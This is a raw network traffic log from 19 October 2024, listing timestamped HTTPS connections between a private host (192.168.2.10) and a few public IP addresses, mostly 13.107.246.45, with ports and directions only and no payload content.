Oct 19, 2024 00:14:12.295522928 CEST	49911	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.295557022 CEST	443	49911	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.295628071 CEST	49911	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.295870066 CEST	49911	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.295886040 CEST	443	49911	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.303442955 CEST	443	49909	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.304204941 CEST	49909	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.304223061 CEST	443	49909	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.304599047 CEST	49909	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.304603100 CEST	443	49909	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.358639956 CEST	443	49910	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.359143019 CEST	49910	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.359158993 CEST	443	49910	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.359669924 CEST	49910	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.359674931 CEST	443	49910	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.390388966 CEST	443	49907	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.390418053 CEST	443	49907	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.390470982 CEST	443	49907	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.390494108 CEST	49907	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.390518904 CEST	49907	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.390762091 CEST	49907	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.390779018 CEST	443	49907	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.390805006 CEST	49907	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.390810966 CEST	443	49907	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.393765926 CEST	49912	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.393791914 CEST	443	49912	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.394334078 CEST	49912	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.394516945 CEST	49912	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.394531012 CEST	443	49912	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.422951937 CEST	443	49908	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.423032045 CEST	443	49908	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.423223972 CEST	49908	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.423257113 CEST	49908	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.423273087 CEST	443	49908	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.423284054 CEST	49908	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.423290014 CEST	443	49908	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.426244974 CEST	49913	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.426270962 CEST	443	49913	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.426337004 CEST	49913	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.426482916 CEST	49913	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.426495075 CEST	443	49913	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.452471018 CEST	443	49909	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.452491999 CEST	443	49909	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.452538967 CEST	443	49909	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.452588081 CEST	49909	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.452588081 CEST	49909	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.452819109 CEST	49909	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.452831030 CEST	443	49909	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.452847004 CEST	49909	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.452852964 CEST	443	49909	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.455646038 CEST	49914	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.455677032 CEST	443	49914	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.455744028 CEST	49914	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.456132889 CEST	49914	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.456142902 CEST	443	49914	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.494549036 CEST	443	49910	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.494987011 CEST	443	49910	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.495047092 CEST	49910	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.495459080 CEST	49910	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.495475054 CEST	443	49910	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.495487928 CEST	49910	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.495492935 CEST	443	49910	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.499156952 CEST	49915	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.499190092 CEST	443	49915	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:12.499313116 CEST	49915	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.499490976 CEST	49915	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:12.499500990 CEST	443	49915	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.059823036 CEST	443	49911	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.067857981 CEST	49911	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.067874908 CEST	443	49911	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.068460941 CEST	49911	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.068466902 CEST	443	49911	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.161501884 CEST	443	49912	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.176803112 CEST	443	49913	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.204215050 CEST	443	49911	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.204282999 CEST	443	49911	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.204332113 CEST	49911	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.207164049 CEST	49912	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.207175970 CEST	443	49912	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.207714081 CEST	49912	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.207720041 CEST	443	49912	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.211354971 CEST	443	49914	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.219515085 CEST	49914	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.219522953 CEST	443	49914	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.226811886 CEST	49914	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.226819992 CEST	443	49914	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.230397940 CEST	49913	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.237891912 CEST	443	49915	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.257080078 CEST	49915	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.257091045 CEST	443	49915	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.261089087 CEST	49915	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.261095047 CEST	443	49915	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.308027029 CEST	49913	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.308033943 CEST	443	49913	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.308433056 CEST	49913	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.308438063 CEST	443	49913	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.343441010 CEST	443	49912	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.343935966 CEST	443	49912	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.344491959 CEST	49912	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.359050035 CEST	443	49914	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.359515905 CEST	443	49914	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.359625101 CEST	49914	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.389471054 CEST	443	49915	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.389503002 CEST	443	49915	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.389561892 CEST	443	49915	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.389589071 CEST	49915	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.389626980 CEST	49915	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.449408054 CEST	443	49913	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.449654102 CEST	443	49913	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.449713945 CEST	443	49913	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.449775934 CEST	49913	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.449831009 CEST	49915	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.449855089 CEST	443	49915	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.449862003 CEST	49915	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.449871063 CEST	443	49915	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.450061083 CEST	49913	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.450061083 CEST	49913	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.450077057 CEST	443	49913	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.450086117 CEST	443	49913	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.457973957 CEST	49911	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.457994938 CEST	443	49911	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.458035946 CEST	49911	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.458041906 CEST	443	49911	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.605520964 CEST	49912	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.605540037 CEST	443	49912	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.605597973 CEST	49912	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.605604887 CEST	443	49912	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.606515884 CEST	49914	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.606538057 CEST	443	49914	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.606564045 CEST	49914	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.606570959 CEST	443	49914	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.618743896 CEST	49916	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.618781090 CEST	443	49916	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.620047092 CEST	49917	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.620079994 CEST	443	49917	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.620115995 CEST	49916	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.620187998 CEST	49917	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.623528004 CEST	49918	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.623560905 CEST	443	49918	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.624676943 CEST	49918	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.627356052 CEST	49916	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.627372026 CEST	443	49916	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.627408981 CEST	49917	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.627441883 CEST	443	49917	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.628717899 CEST	49918	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.628742933 CEST	443	49918	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.630343914 CEST	49919	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.630361080 CEST	443	49919	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.630788088 CEST	49919	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.632158995 CEST	49919	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.632168055 CEST	443	49919	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.653024912 CEST	49920	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.653043032 CEST	443	49920	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:13.653096914 CEST	49920	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.672811985 CEST	49920	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:13.672825098 CEST	443	49920	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.358423948 CEST	443	49917	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.359707117 CEST	49917	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.359725952 CEST	443	49917	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.360186100 CEST	49917	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.360204935 CEST	443	49917	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.379023075 CEST	443	49919	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.379647017 CEST	49919	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.379659891 CEST	443	49919	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.379726887 CEST	443	49916	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.380073071 CEST	49919	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.380081892 CEST	443	49919	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.380297899 CEST	49916	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.380305052 CEST	443	49916	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.380641937 CEST	49916	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.380645990 CEST	443	49916	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.397166967 CEST	443	49918	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.397775888 CEST	49918	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.397804022 CEST	443	49918	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.398107052 CEST	49918	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.398124933 CEST	443	49918	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.427696943 CEST	443	49920	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.428250074 CEST	49920	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.428277016 CEST	443	49920	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.428647995 CEST	49920	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.428653002 CEST	443	49920	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.492486000 CEST	443	49917	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.492558956 CEST	443	49917	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.493035078 CEST	49917	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.493035078 CEST	49917	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.493035078 CEST	49917	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.495716095 CEST	49921	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.495743036 CEST	443	49921	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.495887995 CEST	49921	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.496341944 CEST	49921	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.496354103 CEST	443	49921	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.515748978 CEST	443	49919	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.515815973 CEST	443	49919	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.515877962 CEST	49919	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.516267061 CEST	49919	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.516267061 CEST	49919	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.516284943 CEST	443	49919	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.516294003 CEST	443	49919	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.519404888 CEST	49922	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.519439936 CEST	443	49922	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.519545078 CEST	49922	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.519685030 CEST	49922	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.519695044 CEST	443	49922	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.521703959 CEST	443	49916	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.521929979 CEST	443	49916	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.521990061 CEST	49916	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.522135019 CEST	49916	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.522149086 CEST	443	49916	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.522207022 CEST	49916	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.522212029 CEST	443	49916	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.524414062 CEST	49923	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.524457932 CEST	443	49923	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.524583101 CEST	49923	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.524748087 CEST	49923	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.524755955 CEST	443	49923	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.540113926 CEST	443	49918	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.540381908 CEST	443	49918	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.540489912 CEST	49918	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.547683001 CEST	49918	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.547683001 CEST	49918	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.547708988 CEST	443	49918	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.547719002 CEST	443	49918	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.552907944 CEST	49924	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.552941084 CEST	443	49924	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.554790974 CEST	49924	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.560301065 CEST	49924	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.560317039 CEST	443	49924	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.714776039 CEST	49917	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.714812994 CEST	443	49917	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.716801882 CEST	443	49920	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.716969967 CEST	443	49920	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.717031956 CEST	49920	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.717852116 CEST	49920	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.717880011 CEST	443	49920	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.717904091 CEST	49920	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.717911005 CEST	443	49920	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.722697973 CEST	49925	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.722745895 CEST	443	49925	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:14.724739075 CEST	49925	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.727049112 CEST	49925	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:14.727072954 CEST	443	49925	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.232342958 CEST	443	49921	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.257714987 CEST	443	49922	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.281788111 CEST	443	49923	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.282732010 CEST	49921	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.298177004 CEST	49922	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.330638885 CEST	443	49924	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.331255913 CEST	49924	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.331269026 CEST	443	49924	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.332350969 CEST	49924	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.332366943 CEST	443	49924	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.333017111 CEST	49923	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.347320080 CEST	49921	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.347332001 CEST	443	49921	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.349126101 CEST	49921	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.349139929 CEST	443	49921	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.396130085 CEST	49922	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.396140099 CEST	443	49922	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.396838903 CEST	49922	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.396845102 CEST	443	49922	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.399203062 CEST	49923	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.399220943 CEST	443	49923	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.399713039 CEST	49923	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.399719000 CEST	443	49923	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.461870909 CEST	443	49925	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.467516899 CEST	443	49924	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.467596054 CEST	443	49924	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.467681885 CEST	49924	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.475749969 CEST	443	49921	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.476267099 CEST	443	49921	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.476408005 CEST	49921	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.511298895 CEST	49925	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.519121885 CEST	49925	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.519130945 CEST	443	49925	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.519663095 CEST	49925	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.519666910 CEST	443	49925	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.522768974 CEST	443	49922	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.522862911 CEST	443	49922	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.522942066 CEST	49922	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.523545027 CEST	49922	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.523545027 CEST	49922	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.523566008 CEST	443	49922	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.523576021 CEST	443	49922	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.531419992 CEST	443	49923	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.531455040 CEST	443	49923	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.531507969 CEST	443	49923	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.531563044 CEST	49923	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.531563044 CEST	49923	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.538666964 CEST	49923	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.538688898 CEST	443	49923	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.538705111 CEST	49923	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.538712025 CEST	443	49923	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.541484118 CEST	49924	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.541484118 CEST	49924	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.541512012 CEST	443	49924	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.541526079 CEST	443	49924	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.570396900 CEST	49921	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.570396900 CEST	49921	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.570421934 CEST	443	49921	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.570430994 CEST	443	49921	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.645776987 CEST	443	49925	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.645962954 CEST	443	49925	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.646023035 CEST	49925	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.727226019 CEST	49925	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.727226019 CEST	49925	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.727250099 CEST	443	49925	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.727267981 CEST	443	49925	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.769501925 CEST	49927	443	192.168.2.10	217.160.0.215
Oct 19, 2024 00:14:15.769562006 CEST	443	49927	217.160.0.215	192.168.2.10
Oct 19, 2024 00:14:15.769612074 CEST	49927	443	192.168.2.10	217.160.0.215
Oct 19, 2024 00:14:15.770416021 CEST	49927	443	192.168.2.10	217.160.0.215
Oct 19, 2024 00:14:15.770437002 CEST	443	49927	217.160.0.215	192.168.2.10
Oct 19, 2024 00:14:15.823708057 CEST	49930	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.823734045 CEST	443	49930	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.823827028 CEST	49930	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.824958086 CEST	49931	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.824995041 CEST	443	49931	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.825078964 CEST	49931	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.830468893 CEST	49932	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.830508947 CEST	443	49932	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.830579996 CEST	49932	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.830661058 CEST	49930	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.830677032 CEST	443	49930	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.837121964 CEST	49933	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.837152004 CEST	443	49933	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.837380886 CEST	49933	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.848041058 CEST	49933	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.848063946 CEST	443	49933	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.863472939 CEST	49931	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.863507986 CEST	443	49931	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.866282940 CEST	49932	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:15.866316080 CEST	443	49932	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:15.908992052 CEST	49934	443	192.168.2.10	13.107.246.45
